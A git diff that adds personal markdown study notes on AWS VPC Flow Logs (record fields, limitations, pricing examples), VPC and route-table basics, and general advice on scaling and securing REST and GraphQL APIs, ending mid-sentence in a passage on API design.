default, the maximum is 10min. + - when you create a flow log, you can optionally specify a maximum aggregation interval of 1 minute. + - Flow logs with a maximum aggregation interval of 1 minute produce a higher volume of flow log records than flow logs with a maximum aggregation interval of 10 minutes. +- When a network interface is attached to a Nitro-based instance, the aggregation interval is always 1 minute or less, regardless of the specified maximum aggregation interval. +- After data is captured within an aggregation interval, it takes additional time to process and publish the data to CloudWatch Logs or Amazon S3. + - around 5 min to publish to CloudWatch Logs, + - around 10 min to publish to Amazon S3. + - The flow logs service delivers within this additional time in a best effort manner. In some cases, logs might be delayed beyond the 5 to 10 minutes additional time mentioned previously. + +**Default format** +- By default, the log line format for a flow log record is a space-separated string that has the following set of fields in the following order. + - ` ` + - The default format captures only a subset of all of the available fields for a flow log record. + - To capture all available fields or a different subset of fields, specify a `custom format`. + - cannot customize or change the default format. + + +**Custom format** +- specify a custom format for the flow log record. +- This enables you to create flow logs that are specific to needs and to omit fields that are not relevant to you. +- reduce the need for separate processes to extract specific information from published flow logs. You can specify any number of the available flow log fields, but you must specify at least one. + + +**Available fields** +- The following table describes all of the available fields for a flow log record. The Version column indicates the VPC Flow Logs version in which the field was introduced. + +| Field | Description | Version | +| ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------ | +| version | The VPC Flow Logs version. If you use the default format, the version is 2. If you use a custom format, the version is the highest version among the specified fields. For example, if you only specify fields from version 2, the version is 2. If you specify a mixture of fields from versions 2, 3, and 4, the version is 4. | 2 | +| account-id | The AWS account ID of the owner of the source network interface for which traffic is recorded. If the network interface is created by an AWS service, for example when creating a VPC endpoint or Network Load Balancer, the record may display unknown for this field. | 2 | +| interface-id | The ID of the network interface for which the traffic is recorded. | 2 | +| srcaddr | The source address for incoming traffic, or the IPv4 or IPv6 address of the network interface for outgoing traffic on the network interface. The IPv4 address of the network interface is always its private IPv4 address. See also pkt-srcaddr. | 2 | +| dstaddr | The destination address for outgoing traffic, or the IPv4 or IPv6 address of the network interface for incoming traffic on the network interface. The IPv4 address of the network interface is always its private IPv4 address. See also pkt-dstaddr. | 2 | +| srcport | The source port of the traffic. | 2 | +| dstport | The destination port of the traffic. | 2 | +| protocol | The IANA protocol number of the traffic. For more information, see Assigned Internet Protocol Numbers. | 2 | +| packets | The number of packets transferred during the flow | 2bytes | The number of bytes transferred during the flow. | 2 | +| start | The time, in Unix seconds, when the first packet of the flow was received within the aggregation interval. This might be up to 60 seconds after the packet was transmitted or received on the network interface. | 2 | +| end | The time, in Unix seconds, when the last packet of the flow was received within the aggregation interval. This might be up to 60 seconds after the packet was transmitted or received on the network interface. | 2 | +| `action` | The action that is associated with the traffic:
    ACCEPT: The recorded traffic was permitted by the security groups and network ACLs.
    REJECT: The recorded traffic was not permitted by the security groups or network ACLs. | 2 | +| log-status | The logging status of the flow log:
    OK: Data is logging normally to the chosen destinations.
    NODATA: There was no network traffic to or from the network interface during the aggregation interval.
    SKIPDATA: Some flow log records were skipped during the aggregation interval. This may be because of an internal capacity constraint, or an internal error. | 2 | +| `vpc-id` | The ID of the VPC that contains the network interface for which the traffic is recorded. | 3 | +| subnet-id | The ID of the subnet that contains the network interface for which the traffic is recorded | 3instance-id | The ID of the instance that's associated with network interface for which the traffic is recorded, if the instance is owned by you. Returns a '-' symbol for a requester-managed network interface; for example, the network interface for a NAT gateway. | 3 | +| `tcp-flags` | The bitmask value for the following TCP flags:
    SYN: 2
    SYN-ACK: 18
    FIN: 1
    RST: 4
    ACK is reported only when it's accompanied with SYN.
    TCP flags can be OR-ed during the aggregation interval. For short connections, the flags might be set on the same line in the flow log record, for example, 19 for SYN-ACK and FIN, and 3 for SYN and FIN. For an example, see TCP flag sequence. | 3 | +| `type` | The type of traffic: IPv4, IPv6, or EFA. For more information about the Elastic Fabric Adapter (EFA), see Elastic Fabric Adapter. | 3 | +| pkt-srcaddr | The packet-level (original) source IP address of the traffic. Use this field with the srcaddr field to distinguish between the IP address of an intermediate layer through which traffic flows, and the original source IP address of the traffic. For example, when traffic flows through a network interface for a NAT gateway, or where the IP address of a pod in Amazon EKS is different from the IP address of the network interface of the instance node on which the pod is running (for communication within a VPC). | 3 | +| pkt-dstaddr | The packet-level (original) destination IP address for the traffic. Use this field with the dstaddr field to distinguish between the IP address of an intermediate layer through which traffic flows, and the final destination IP address of the traffic. For example, when traffic flows through a network interface for a NAT gateway, or where the IP address of a pod in Amazon EKS is different from the IP address of the network interface of the instance node on which the pod is running (for communication within a VPC). | 3 | +| region | The Region that contains the network interface for which traffic is recorded. | 4 | +| az-id | The ID of the Availability Zone that contains the network interface for which traffic is recorded. If the traffic is from a sublocation, the record displays a '-' symbol for this field. | 4 | +| sublocation-type | The type of sublocation that's returned in the sublocation-id field:
    wavelength
    outpost
    localzone
    If the traffic is not from a sublocation, the record displays a '-' symbol for this field. | 4 | +| sublocation-id | The ID of the sublocation that contains the network interface for which traffic is recorded. If the traffic is not from a sublocation, the record displays a '-' symbol for this field | 4 | + +> If a field is not applicable for a specific record, the record displays a '-' symbol for that entry. + +### Flow log limitations +- To use flow logs, you need to be aware of the following limitations: +- cannot enable flow logs for network interfaces that are in the EC2-Classic platform. + - This includes EC2-Classic instances that have been linked to a VPC through ClassicLink. +- can't enable flow logs for VPCs that are peered with VPC unless the peer VPC is in account. +- After you've created a flow log, you cannot change its configuration or the flow log record format. For example, you can't associate a different IAM role with the flow log, or add or remove fields in the flow log record. but delete the flow log and create a new one with the required configuration. +- If network interface has multiple IPv4 addresses and traffic is sent to a secondary private IPv4 address, the flow log displays the primary private IPv4 address in the dstaddr field. To capture the original destination IP address, create a flow log with the pkt-dstaddr field. +- If traffic is sent to a network interface and the destination is not any of the network interface's IP addresses, the flow log displays the primary private IPv4 address in the dstaddr field. To capture the original destination IP address, create a flow log with the pkt-dstaddr field. +- If traffic is sent from a network interface and the source is not any of the network interface's IP addresses, the flow log displays the primary private IPv4 address in the srcaddr field. To capture the original source IP address, create a flow log with the pkt-srcaddr field. +- If traffic is sent to or sent by a network interface, the srcaddr and dstaddr fields in the flow log always display the primary private IPv4 address, regardless of the packet source or destination. To capture the packet source or destination, create a flow log with the pkt-srcaddr and pkt-dstaddr fields. +- When network interface is attached to a Nitro-based instance, the aggregation interval is always 1 minute or less, regardless of the specified maximum aggregation interval. + +Flow logs do not capture all IP traffic. The following types of traffic are not logged: +- Traffic generated by instances when they contact the Amazon DNS server. If you use own DNS server, then all traffic to that DNS server is logged. +- Traffic generated by a Windows instance for Amazon Windows license activation. +- Traffic to and from 169.254.169.254 for instance metadata. +- Traffic to and from 169.254.169.123 for the Amazon Time Sync Service. +- DHCP traffic. +- Traffic to the reserved IP address for the default VPC router. For more information, see VPC and subnet sizing. +- Traffic between an endpoint network interface and a Network Load Balancer network interface. For more information, see VPC endpoint services (AWS PrivateLink). + +### Flow logs pricing +- `Data ingestion and archival` charges for vended logs apply when you publish flow logs to CloudWatch Logs / S3. +- To track charges from publishing flow logs to S3 buckets, apply `cost allocation tags` to flow log subscriptions. +- To track charges from publishing flow logs to CloudWatch Logs, apply `cost allocation tags` to destination CloudWatch Logs log group. +- Thereafter, AWS cost allocation report will include usage and costs aggregated by these tags. You can apply tags that represent business categories (such as cost centers, application names, or owners) to organize costs. + +CloudWatch Container Insights ingests performance events as CloudWatch Logs that automatically create CloudWatch metrics. These performance events are analyzed using CloudWatch Logs Insights queries and are automatically executed as part of some Container Insights automated dashboards (e.g., task/pod, service, node, namespace). + +| into CloudWatch | price | +| ------------------------------- | ----------------------------- | +| Collect (Data Ingestion) | $0.50 per GB | +| Store (Archival) | $0.03 per GB | +| Analyze (Logs Insights queries) | $0.005 per GB of data scanned | + +--- + +### price + +[AWS Simple Monthly Calculator](https://calculator.s3.amazonaws.com/index.html) +[AWS Pricing Calculator](https://calculator.aws/#/createCalculator) + +example: + +```bash +# detailed monitoring +# The number of metrics sent by EC2 instance as detailed monitoring is dependent on the EC2 instance type +# This example assumes 7 metrics, which covers the most commonly used instance types. +If application runs on 10 EC2 instances 24x7 for a 30-day month, and enable EC2 Detailed Monitoring on all instances: +Total number of metrics: 7 metrics per instance * 10 instances = 70 metrics +Monthly CloudWatch Metrics Charges @$0.30 per custom metric: 70 * $0.30 = $21 +Monthly CloudWatch charges = $21 per month +Once you exceed 10,000 total metrics then volume pricing tiers will apply - see metrics pricing table for details. + + +# monitor with logs +# If you are monitoring HTTP 2xx, 3xx & 4xx response codes using web application access logs 24x7 for one 30-day month, by sending 1GB per day of ingested log data, monitoring for HTTP responses, and archiving the data for one month, charges would be as follows: +# Monthly Ingested Log Charges +Total log data ingested: 1GB * 30 days = 30GB +0 to 5GB: $0 +5 to 30GB: $0.50 * 25 = $12.50 +# Monthly Monitoring Charges +3 CloudWatch Metrics @$0: 3 * $0 = $0 +# Monthly Archived Log Charges (assume log data compresses to 6GB) +0 to 5GB: $0 +5GB to 6GB: $0.03 * 1 = $0.03 +# Monthly CloudWatch Charges +$12.50 + $0 + $0.03 = $12.53 + + +# monitore VPCs that send 72TB of ingested VPC flow logs to CloudWatch logs per month and archiving the data for one month +# Monthly Log Ingestion Charges +0 to 10TB @$0.50 per GB = 10 * 1,024 * $0.50 = $5,120.00 +10TB to 30TB @$0.25 per GB = 20 * 1,024 * $0.25 = $5,120.00 +30TB to 50TB @$0.10 per GB = 20 * 1,024 * $0.10 = $2,048.00 +50TB to 72TB @$0.05 per GB = 22 * 1024 * $0.05 = $1,126.40 +Total Ingestion Charges = $5,120 + $5,120 + $2,048 + $1126.40 = $13,414.40 +# Monthly Log Archival Charges (Assume log data compresses to 30TB) +30TB @ $0.03 per GB = 30 * 1024 * 0.03 = $921.6 +# Monthly CloudWatch Charges = $13,414.40 + $921.6 = $14,336 + + +# 2. +# monitore VPCs that send 72TB of ingested VPC flow logs directly to S3 per month and archiving the data for one month +# Monthly Log Ingestion Charges +0 to 10TB @$0.25 per GB = 10 * 1,024 * $0.25 = $2,560.00 +10TB to 30TB @$0.15 per GB = 20 * 1,024 * $0.15 = $3,072.00 +30TB to 50TB @$0.075 per GB = 20 * 1,024 * $0.075 = $1,536.00 +50TB to 72TB @$0.05 per GB = 22 * 1024 * $0.05 = $1,126.40 +Total Ingestion Charges = $2,560 + $3,072 + $1,536 + $1126.40 = $8,294.40 +# Monthly Log Archival Charges (Assume log data compresses to 6.5TB)* * +6.5TB @ $0.023 per GB = 6.5 * 1024 * 0.023 = $153.01 +# Monthly Charges = $8,294.40 + $153.01 = $8,447.41 +``` + + + +--- + +ref: +- [*VPC Flow Logs](https://docs.aws.amazon.com/vpc/latest/userguide/flow-logs.html) +- [*Traffic Mirroring and VPC Flow Logs](https://docs.aws.amazon.com/vpc/latest/mirroring/flow-log.html) +- [New – VPC Traffic Mirroring – Capture & Inspect Network Traffic](https://aws.amazon.com/blogs/aws/new-vpc-traffic-mirroring/) + + + +. diff --git a/_posts/01Cloud/01AWS/Network/NetworkSegment/2020-07-18-VPC.md b/_posts/01Cloud/01AWS/Network/NetworkSegment/2020-07-18-VPC.md new file mode 100644 index 00000000000..d22423aeeae --- /dev/null +++ b/_posts/01Cloud/01AWS/Network/NetworkSegment/2020-07-18-VPC.md @@ -0,0 +1,294 @@ +--- +title: AWS - VPC - Amazon Virtual Private Cloud +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, Network] +tags: [AWS, Network, VPC] +toc: true +image: +--- + +- [VPC Amazon Virtual Private Cloud](#vpc-amazon-virtual-private-cloud) + - [2 VPC infrastructure](#2-vpc-infrastructure) + - [Multi-VPC pattern](#multi-vpc-pattern) + - [Multi-Account pattern](#multi-account-pattern) + - [basic](#basic) + - [custom VPC](#custom-vpc) + - [VPC router](#vpc-router) + - [Route table](#route-table) + +--- + +# VPC Amazon Virtual Private Cloud + + +--- + +pic + + +pic + +--- + + +## 2 VPC infrastructure + +2 primary patterns for organizing VPC infrastructure: +- Multi-VPC or Multi-Account + +![Screen Shot 2020-06-21 at 06.18.43](https://i.imgur.com/tZ7Xrl4.png) + +### Multi-VPC pattern + +- shared services, development, test, and production each have their own VPC. easier to maintain for smaller organizations. + +- Best suited for: + - single team or for organizations, such as Managed Service Providers, MSPs who manage all resources in test and production. + - maintain full control over the provisioning and management of all resources in each application environment. + - Limited teams make maintaining standards and managing access far easier. + - single team developing a large e-commerce application might use this pattern, when the developers have full access to the development and production environments. + +- Exception: **governance and compliance standards that require workload isolation**, regardless of organizational complexity. + +### Multi-Account pattern + +- can have multiple Amazon web services accounts with the same information—such as shared services, development, test and production—instead of having multiple VPCs. + +- best suited for + - larger organizations, organizations with multiple IT teams + - medium-sized organizations that anticipate rapid growth. + - managing access and standards can be challenging in more complex organizations. + - consider where your team will be in five years. + - It's easier with larger companies to manage with multiple accounts, versus having everything inside of one account with multiple VPCs. + + + +**The majority of AWS services do not actually sit within a VPC** +- EC2 instances are configured with public IP addresses + - But network traffic between AWS Regions traverse the AWS global network backbone by default, + - which typically provides more consistent, lower-latency network connectivity than equivalent internet-based connections. + - On occasion, some traffic between Regions uses the public internet. + - If use public internet for to connect to services like S3 or DynamoDB, should use a VPC endpoint. + - use a VPC endpoint to privately connect your VPC to supported AWS services and to VPC endpoint services that are powered by PrivateLink without using an internet gateway; NAT device; VPN connection, or AWS Direct Connect connection. +- Instances in your VPC do not require public IP addresses to communicate with resources in the service. + - Traffic between your VPC and the other service does not leave the Amazon network. + + +--- + +## basic + +pic + +physical: global > Region > AZ + +logical: AWS cloud > VPV > subnet + +1. a service provision a **logically isolated section** of the AWS Cloud (virtual private cloud/VPC) to launch your AWS resources. + - Analogous to having your own DC inside AWS. + - VPC is logically isolated from other VPCs on AWS. + - Possible to connect the corporate data centre to a VPC using a hardware VPN (site-to-site) + - can use both IPv4 and IPv6 in VPC for secure access to resources and applications + - **Full complete control over virtual networking resources**: + - the selection of your own IP address range, + - the creation of subnets, + - and the configuration of route tables and network gateways. + - customize the network configuration for VPC. + - example, + - create a public subnet for web servers that can access the public internet. + - place backend systems (databases/application servers...) in a private subnet with no public internet access. + - use multiple layers of security (security groups and network access control lists (networkACLs)...) to control access to Amazon Elastic Compute Cloud (Amazon EC2) instances in each subnet. + +2. account > one Region > a default VPC > AZs > a default subnet + +3. A VPC is dedicated to your account when create the account + - When create VPC, it belong to a single Region + - auto created for each AWS account the first time EC2 resources are provisioned. + - VPCs are region wide. + - span all AZs in 1 region + - By default can create up to 5 VPCs per region. + - AZs + - After create, a VPC can divide it into more subnets in each AZ, + - Each subnet must reside entirely within 1 AZ and cannot span zones. + - A default VPC is created in a region with a public subnet in each AZ. + - Instances in the default VPC always have both a public and private IP address. + - AZs names are mapped to different zones for different users (i.e. the AZ “ap-southeast-2a” may map to a different physical zone for a different user). + +4. default VPCs: + - CIDR + - default CIDR range is `172.31.0.0/16` + - max size of a VPC is `/16`. The min is `/28`. + - **The first 4 IP addresses and the last IP address in each CIDR block are reserved by AWS**. + - Once the VPC is created, cannot change the CIDR block. + - cannot create additional CIDR blocks that overlap with existing CIDR blocks. + - cannot create additional CIDR blocks in a different RFC 1918 range. + - IPv6 addresses are all public and the range is allocated by AWS. + - entities are included when a default VPC is created + - DHCP + - Public subnet + - default subnet, + - an IGW internet gateway, + - a main route table (connects the default subnet to the internet gateway), + - a security group + - a default NACL. + - create a VPC-based resource (EC2, RDS, ELB, etc.) without specify a custom VPC, it will be placed in default VPC in that Region. + - In general, this situation is not a good because many people know the default CIDR range, and that those ranges are automatically connected to internet gateways by default unless they are disabled. + - Default VPCs are configurable like other VPCs. + - For example, you can add more subnets. + +5. Default subnets: + - default subnets are created within each AZ for each default VPC. + - public subnet with CIDR block of /20 (4,096 IP addresses). + - Public subnets are subnets that have: + - Private subnets + - VPN-only subnet + - Can be converted into a private subnet by `removing its route to the internet gateway`. + - the default subnet and the default VPC. Many people might know how to use these default credentials, not secure. + - When new AZ is added to a region, default VPC in that region gets a subnet placed in the new AZ (unless you've made modifications to that VPC) + - New subnets are always associated with the default route table. + + +6. Default VPCs are a quick start solution. + - provide an easy way to test launching instances of your VPC-based resources without having to set up a new VPC. + - For real-world applications, create your own VPCs and subnets. + - have greater control and knowledge of their configurations. + - It’s possible to re-establish a default VPC if it’s accidentally deleted. + + +7. limited use cases work best with single VPC + - `High-performance computing environments`: as a single VPC environment will have lower latency than one that’s spread across multiple VPCs. + - `The use of Microsoft Active directory for identity management`: for the strongest security measures. + - `For small, single app that managed by one person or very small team`: easiest to use one Virtual Private Cloud. + + +8. can define dedicated tenancy for a VPC to ensure instances are launched on dedicated hardware (overrides the configuration specified at launch). + + +9. Most AWS service do not reside in the VPC. + - Use a `VPC endpoint` to access S3: + - to provide secure access to an S3 bucket not using the internet + - access to S3 resources from within a VPC by a VPC endpoint. + - These endpoints are + - easy to configure, + - highly reliable, + - provide a secure connection to S3 that does not require a gateway or NAT instances. + + +10. to capture information about IP or any traffic flowing in VPC, use VPC Flow Logs. + +11. benefits of a VPC + - two types of VPCs: custom and default. + - option to create a VPC in many regions. + - Provides a virtual private data center inside the AWS platform + - can isolate malware by VPC isolation. + + + + +--- + +## custom VPC +- make a subnet public + - `Create an IGW` and attach it to the VPC + - By default, custom VPCs do not automatically come with IGWs (Internet Gateways) + - `Add a route` on the associated route table to forward internet bound traffic to the IGW + - Enabling a subnet to `auto-assign public IPs` + - allow all resources provisioned in this subnet to have a public IP by default as opposed to just having a private IP. + + +To enable access to or from the Internet for instances in a VPC subnet, you must do the following: +- `Attach an Internet Gateway` to VPC. +- Ensure that `subnet’s route table points to the Internet Gateway` + - **To all destinations** + - `0.0.0.0/0` for IPv4 + - `::/0` for IPv6. + - **To specific public IPv4 addresses** + - your company’s public endpoints outside of AWS. +- Ensure that `instances in subnet have a globally unique IP address` + - (public IPv4 address, Elastic IP address, or IPv6 address). +- Ensure that `network access control and security group rules allow the relevant traffic` to flow to and from your instance. + +--- + +## VPC router + +- performs routing between AZs within a region. +- connects different AZs together and connects the VPC to the Internet Gateway. + +--- + +## Route table + +> Direct traffic between VPC resources + + +![Screen Shot 2022-07-04 at 17.22.04](https://i.imgur.com/YgITLEE.png) + +![Screen Shot 2022-07-04 at 17.22.24](https://i.imgur.com/TU1jd3h.png) + + +**Basic** + +- a map tells how to enter and leave the network. + - It contains a set of rules, routes + - to determine where network traffic is directed. + - Route tables also have entries to external destinations. + - `Up to 200 route tables per VPC.` + - `Up to 50 route entries per route table.` + + +- have main route tables (default), and custom route tables + + +**default route table (default)** + +![Screen Shot 2022-07-04 at 17.06.11](https://i.imgur.com/lHiQLsa.png) + +- Every VPC has a default route table when be created. + - Default VPC already has a main route table + - Cannot delete the main route table. + - When create a VPC, it automatically has a main route table. + - If no route table is specified, a subnet will be assigned to the main route table at creation time. + - can manually set another route table to become the main route table. + +**custom route tables** +- use custom route table if need infrastructure within VPC that can connect back to on-premises environment. + + +**route** +- All route tables in VPC include a single route: a local route entry + - a default rule (local route) + - enables communication within the VPC. + - allows all VPC subnets to communicate with one another + - cannot be deleted or modified. + - Routing between subnets is always possible because of this rule + - any problems communicating is more likely to be security groups or NACLs. + - launch an instance in VPC, the local route automatically covers that instance. don't need to add the new instance to route table. + + +**subnet and route table** +- Each subnet has a route table the router uses to forward traffic within the VPC + - Each subnet can only be associated with one route table + - route table can be share between subnets + - Can assign one route table to multiple subnets. + + +- Each subnet must be associated with a route table + - controls the routing for the subnet. + - forward traffic within the VPC + - one subnet can only be associated with one route table + - route table can be share between subnets + - Can assign one route table to multiple subnets. + + - If you don't explicitly associate a subnet with a particular route table, the subnet is implicitly associated with and uses the main route table (default). + - **best practice**: + - use custom route tables for each subnet. + - enables granular routing for destinations. + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/Network/api.md b/_posts/01Cloud/01AWS/Network/api.md new file mode 100644 index 00000000000..1b2f20b34b6 --- /dev/null +++ b/_posts/01Cloud/01AWS/Network/api.md @@ -0,0 +1,334 @@ + + +### Scale APIs in the cloud with Security, Reliability and Quality of Service. + + +having a microservices architecture made scaling to millions and even a billion users possible. + +Container technology married with microservices is a natural fit. A container using Docker can be instantiated and start operating in less than 100 milliseconds. +1. You need to make the service secure + - follow best practices for security. + - standard things like creating multiple subnets for different components to protect data and services from simple attacks. + - scanning for virus’s and malware, etc. + - check your code for valid safe versions of open source software so mistakes are not made using bad software. + - detect intrusions and monitor logs to insure appropriate activities are going on. + - need to assume your network is compromised. + - need to make sure that certificates for containers are valid and that the security practices of your APIs enforce TLS and TLS HSTS and other protocol enhancements available like TLS 1.2. + - perform penetration tests and other intrusion tests using standard tools. + - need to make sure your databases are secure, possibly encrypted and file systems to the extent they need to be and that authentication and authorization are being done right. + - do code scanning for potential security flaws. + - If the security practices above are not automated you will find yourself cutting short security. + - Automating all your security processes is non-trivial amount of work + - try to do it by hand you will eventually make a mistake and become next weeks story. + - Integrating security into your DevOps automation is described below and important to insure best practices and is essential to actually being secure. + +2. You need a container management framework + - components deploying by hand is no longer fun or safe. + - Similarly monitoring them and numerous other management tasks are best done by a container management framework. + - This is what Docker Swarm, Kubernetes, Mesos and other products do. + - The container management framework is critical for some security functions as well. It provides the ability to deploy containers safely. + +3. You need to make it reliable + - Active/Active and Active / Passive servers, service discovery and registration, heartbeats, transaction protocols, replication of databases and other means. + - Most likely you will use a service registry and heartbeat with active/active servers for most of your reliability. + - bring in a message queue or some other transactional system. Databases typically have their own reliability mechanisms. Your service needs to support these components and all the other pieces they need to implement fast recovery of failed components and hardware. + - Today, a lot of this can be implemented by policy and with standard components like Zookeeper, Consul, etcd which allow you to monitor heartbeats set up automatic restart and restore configuration instantly. + +1. You need scalability + - You need components to help you scale your API service. + - Having a microservice architecture doesn’t automatically make it scalable. + - Kubernetes for instance has the ability to monitor and keep load constant across a bunch of containers in a cluster. You can say, for instance, when the load on these containers goes above 50% on any server create a new instance automatically. You can use this to scale single microservice to multiple instances and keep response time consistent across your service even as load builds rapidly. + - Sometimes this type of scaling is not enough. You may need a more policy based scaling component that can scale multiple components in different ways depending on different load indications. + +2. You need DevOps Fullstack Automation with security + - evelopment environment, test environment, production or other staging environments need to be completely in sync in order to be sure that when you deploy something it actually works. + - In order to achieve the improvement in agility the cloud can give you, you need a finely automated infrastructure that you can replicate stacks of components reliably over and over. + - deploy multiple production environments for different regions, different customers or for any number of reasons. + - Different APIs may share a lot of similar underlying infrastructure. + - If you have multiple APIs automating your stacks will make it easier to deploy new APIs and new services. + - do a synthetic test of your APIs or services with 1000 times the load you expect like AWS and Netflix and other sophisticated services in the cloud do. + - It is critical that the DevOps automation include automatic security configuration and checks otherwise mistakes will be made. People are notoriously bad at doing routine tedious things over and over. Expecting that you can do security as a separate function from DevOps is a mistake. + +3. You need to upgrade the stack of all these things regularly + - In the past many companies were scared to do upgrades because they put the production environment at risk. Therefore, companies let the components become stale and let upgrades go for a year or more before trying a big upgrade. + - As components are upgraded frequently these upgrades provide needed performance, security or bug fixes that your customers will need. Since a component microservices architecture shares services across all components if one service needs the upgrade you will end up upgrading all the uses of that microservice component. + - Therefore, you will be forced to upgrade more frequently and you will be forced to test all your stack and components with the new upgrade. + - Since so many upgrades are coming through you will need a way to do these upgrades with minimal interruption. + - Several other components can help you make upgrades and security patches without bringing down any users of your services. + +1. You need to have test suites for the stacks not just the API + - Since you will be upgrading your components many times a year you will want to build test suites to test your stack of components in your service to see if any upgrade or security patch breaks some part of the stack. + - The new upgrade may seem great and when you test it against your application it works fine but other components in the stack that are not your responsibility may use that component and they may not work with the upgrade. + - So, you need to build test suites before you deploy anything to production for your stacks so you can run the test suites against a deployed copy of your production environment to see if anything breaks. + +2. You need to keep the automation up to date and the test suites for the stacks + - Over time upgrades of components, new features, adding components will mean you will have to maintain your automation. + - Each change to the automation is essentially like an upgrade of a component and you need to test the automation and the resulting deployments as you would for an upgrade or security patch. + - detect flaws in your test suites you need to keep them up to date and modify them. + - constantly be improving them to consider new test cases and potential issues. + +3. You need to understand the costs of the components in your stack and to manage that cost + - Finally, you have all of this infrastructure working and your APIs are secure, reliable, scalable, upgradable, automated. You can make as many changes to your APIs as before and you are seeing a successful service that is growing. You are ecstatic. + - costs of your infrastructure are growing non-linearly + - get a bill from your cloud provider that shows you thousands of lines of detail but you have no idea how to translate those servers and usage to the underlying services. + - figure out what is taking the most money or if that is reasonable. + +4. You need to implement a data gathering and instrument all your services so they produce information you can use to diagnose what is using what and how you could save money. + - Maybe some services shouldn’t be scaled arbitrarily. + - Possibly you should limit the scaling to a certain amount. + - Maybe a configuration change or frequency of doing something could drastically improve the costs. + - Possibly a component you selected is too expensive using way more resources than it should. + - Maybe this is a bug or a different component which does substantially the same function is less expensive. + +5. You need to instrument your services and make that instrumentation part of your automation and you need to build the analysis tools or use tools to mine the data to find where your problems are or how you might be able to save money. + + + + + +--- + +### Architect APIs for Scale and Security + + +creating RESTful APIs +- using HTTP methods, such as GET, POST, DELETE to perform operations against the API. + + +Amazon API Gateway +- make it easy for developers to create APIs at any scale without managing any servers. +- API Gateway will handle all of the heavy lifting needed including traffic management, security, monitoring, and version/environment management. + + +GraphQL APIs are relatively new, with a primary design goal of allowing clients to define the structure of the data that they require. + +AWS AppSync allows you to create flexible APIs that access and combine multiple data sources. + + + +#### REST APIs + +Architecting a REST API is structured around creating combinations of resources and methods. +- Resources are paths that are present in the request URL and methods are HTTP actions that you take against the resource. +- For example +- define a resource called “cart”: `https://myapi.somecompany.com/cart` +- The cart resource can respond to HTTP POSTs for adding items to a shopping cart +- or HTTP GETs for retrieving the items in your cart. + + +With API Gateway, you would implement the API like this: + +![Arch-comparison-1-1024x565](https://i.imgur.com/nVf8A6F.jpg) + +Behind the scenes, you can integrate with nearly any backend to provide the compute logic, data persistence, or business work flows. +- For example +- configure an AWS Lambda function to perform the addition of an item to a shopping cart (HTTP POST). +- use API Gateway to directly interact with AWS services like Amazon DynamoDB. +- using API Gateway to retrieve items in a cart from DynamoDB (HTTP GET). + + +RESTful APIs tend to use Path and Query parameters to inject dynamic values into APIs. +- For example, +- to retrieve a specific cart with an id of abcd123, +- design the API to accept a query or path parameter that specifies the cartID: +- `/cart?cartId=abcd123` or `/cart/abcd123` + + +when you need to add functionality to your API +- the typical approach would be to add additional resources. +- For example +- add a checkout function, you could add a resource called `/cart/checkout` + + + +#### GraphQL APIs + + +Architecting GraphQL APIs +- is not structured around resources and HTTP verbs +- instead you define your data types and configure where the operations will retrieve data through a resolver. +- An operation is either a query or a mutation. +- Queries simply retrieve data while mutations are used when you want to modify data. +- If we use the same example from above, you could define a cart data type as follows: + + +```py +type Cart { + cartId: ID! + customerId: String + name: String + email: String + items: [String] +} +``` + +Next, configure the fields in the Cart to map to specific data sources. +- AppSync is then responsible for executing resolvers to obtain appropriate information. +- Your client will send a HTTP POST to the AppSync endpoint with the exact shape of the data they require. +- AppSync is responsible for executing all configured resolvers to obtain the requested data and return a single response to the client. + +![Arch-comparison-2-1024x608](https://i.imgur.com/hlGEJez.jpg) + + + +With GraphQL, the client can change their query to specify the exact data that is needed. +- The above example shows two queries that ask for different sets of information. +- The first getCart query asks for all of the static customer (customerId, name, email) and a list of items in the cart. +- The second query just asks for the customer’s static information. +- Based on the incoming query, AppSync will execute the correct resolver(s) to obtain the data. +- The client submits the payload via a HTTP POST to the same endpoint in both cases. +- The payload of the POST body is the only thing that changes. + +As we saw above, a REST based implementation would require the API to define multiple HTTP resources and methods or path/query parameters to accomplish this. + +AppSync also provides other powerful features that are not possible with REST APIs such as real-time data synchronization and multiple methods of authentication at the field and operation level. + + +--- + + +### example + +![restAPI-1-1024x369](https://i.imgur.com/vfXnxIj.jpg) + +1. synchronous, tightly coupled architecture + - the request must wait for a response from the backend integration (RDS) + + - This API accepts GET requests to retrieve a user’s cart + - by using a Lambda function to perform SQL queries against a relational database managed in RDS. + - If receive a large burst of traffic, + - both API Gateway and Lambda will scale in response to the traffic. + - but relational databases typically have limited memory/cpu capacity and will quickly exhaust the total number of connections. + + - solution + 1. defining API Keys and requiring your clients to deliver a key with incoming requests. + - to track each application or client who is consuming your API. + - to create Usage Plans and throttle your clients according to the plan you define. + - For example, you if you know your architecture is capable of of sustaining 200 requests per second, you should define a Usage plan that sets a rate of 200 RPS and optionally configure a quota to allow a certain number of requests by day, week, or month. + + + 2. API Gateway lets you define throttling settings for the whole stage or per method. + - If GET operation is less resource intensive than a POST operation + - you can override the stage settings and set different throttling settings for each resource. + + +![restAPI-2-1024x548](https://i.imgur.com/BKu0OoH.jpg) + + +2. an asynchronous, loosely coupled architecture + - A decoupled architecture + - separates the data ingestion from the data processing and allows you to scale each system separately. + + - This architecture enables ingestion of orders directly into a highly scalable and durable data store such as Amazon Simple Queue Service (SQS). + - the backend can process these orders at any speed that is suitable for your business requirements and system ability. + - Most importantly, the health of the backend processing system does not impact your ability to continue accepting orders + + + + +--- + + +### API design? + +As a company that creates an API management platform, we’re built on open-source API technology. We’ve always had an API-first mentality. All of our UIs are built as a presentation layer, which is powered by an API. Users configure the Kong API gateway using the Admin API to control the Kong platform. All this aims to allow users easy CI/CD integration with our internal and third-party tools. + +Real-time, simple, secure, and fast. As an infrastructure-as-a-service provider, our API must be streaming updates as they happen, rather than requiring the client to poll for updates. The key questions we think about are, “How can we make the API easy to use?” and “Can we make it fast globally?” The answers are core to the developer experience. We also have to make sure the API is secure. + +For the past couple years, during the migration from our Ruby on Rails monolith to a service-oriented architecture (SOA), our data service APIs looked similar to create, read, update, and delete operations with ActiveRecord. However, as our SOA matures, we’re rethinking our API design from extensibility and capability perspectives, instead of focusing on how to minimize breakage during a large architectural migration. + +In the Creative Cloud, creative assets are a foundational element, and often our API design will start with building out models that represent one or more kinds of creative assets. From there, we often take inspiration and learning from our in-product APIs to provide some consistency in 